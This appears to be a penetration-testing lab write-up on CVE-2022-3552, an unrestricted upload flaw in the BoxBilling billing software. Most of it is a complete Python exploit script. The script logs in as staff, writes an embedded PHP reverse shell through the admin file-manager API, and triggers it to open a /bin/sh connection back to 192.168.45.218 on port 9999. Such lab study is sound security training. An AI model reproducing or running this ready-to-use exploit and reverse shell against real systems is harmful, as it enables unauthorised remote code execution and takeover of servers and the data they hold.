CVE-2022-3552
A vulnerability was found in boxbilling (Billing Software) and classified as critical. This issue affects an unknown code. The manipulation with an unknown input leads to a unrestricted upload vulnerability. Using CWE to declare the problem leads to CWE-434. The product allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product’s environment. Impacted is confidentiality, integrity, and availability.
Exploit
Exploit found online
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/bullybox]
└─$ git clone https://github.com/0xk4b1r/CVE-2022-3552
Cloning into 'CVE-2022-3552'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 19 (delta 5), reused 16 (delta 4), pack-reused 0 (from 0)
Receiving objects: 100% (19/19), 5.63 KiB | 5.63 MiB/s, done.
Resolving deltas: 100% (5/5), done.
Downloading the exploit package
Modification
#!/usr/bin/ python
from pwn import *
from sys import exit
import requests
import argparse
def get_arguments():
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--domain", dest="domain", help="Domain URL Address.")
parser.add_argument("-u", "--email", dest="email", help="Login Username.")
parser.add_argument("-p", "--password", dest="password", help="Login Password.")
parser.add_argument("-li", "--local-ip", dest="local_ip", help="Enter your IP Address.")
parser.add_argument("-lp", "--port", dest="port", help="Enter the port number.")
options = parser.parse_args()
return options
class Exploit:
def __init__(self, url, email, password):
self.session = None
self.url = url
self.email = email
self.password = password
# self.rce_command = rce_command
def login(self):
self.session = requests.Session()
login_url = self.url + "/api/guest/staff/login"
login_data = {
"email": {self.email},
"password": {self.password},
"remember": 1,
}
try:
login_session = self.session.post(login_url, data=login_data)
if "Check your login details" in login_session.text:
log.warn("login failed!")
exit(0)
if "Check your login details" not in login_session.text:
log.success("Successfully logged in")
except KeyboardInterrupt:
log.success("Exiting..")
def box_billing_rce_exploit(self):
try:
rce_php_payload = """
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.45.218'; // You have changed this
$port = 9999; // And this
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string
";
}
}
?>
"""
new_payload_file = "new_exploit.php"
request_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"order_id": 1,
"path": new_payload_file,
"data": rce_php_payload
}
self.session.post(
self.url + "/index.php?_url=/api/admin/Filemanager/save_file",
headers=request_headers,
data=data
)
log.success("Payload saved successfully")
log.success("Getting Shell")
requests.get(self.url + "/" + new_payload_file)
exit(0)
except KeyboardInterrupt:
log.success("Exiting..")
if __name__ == "__main__":
options = get_arguments()
url_ip = options.domain
box_billing_email = options.email
box_billing_password = options.password
exploit = Exploit(url_ip, box_billing_email, box_billing_password)
exploit.login()
exploit.box_billing_rce_exploit()
It uses an embedded PHP reverse shell for payload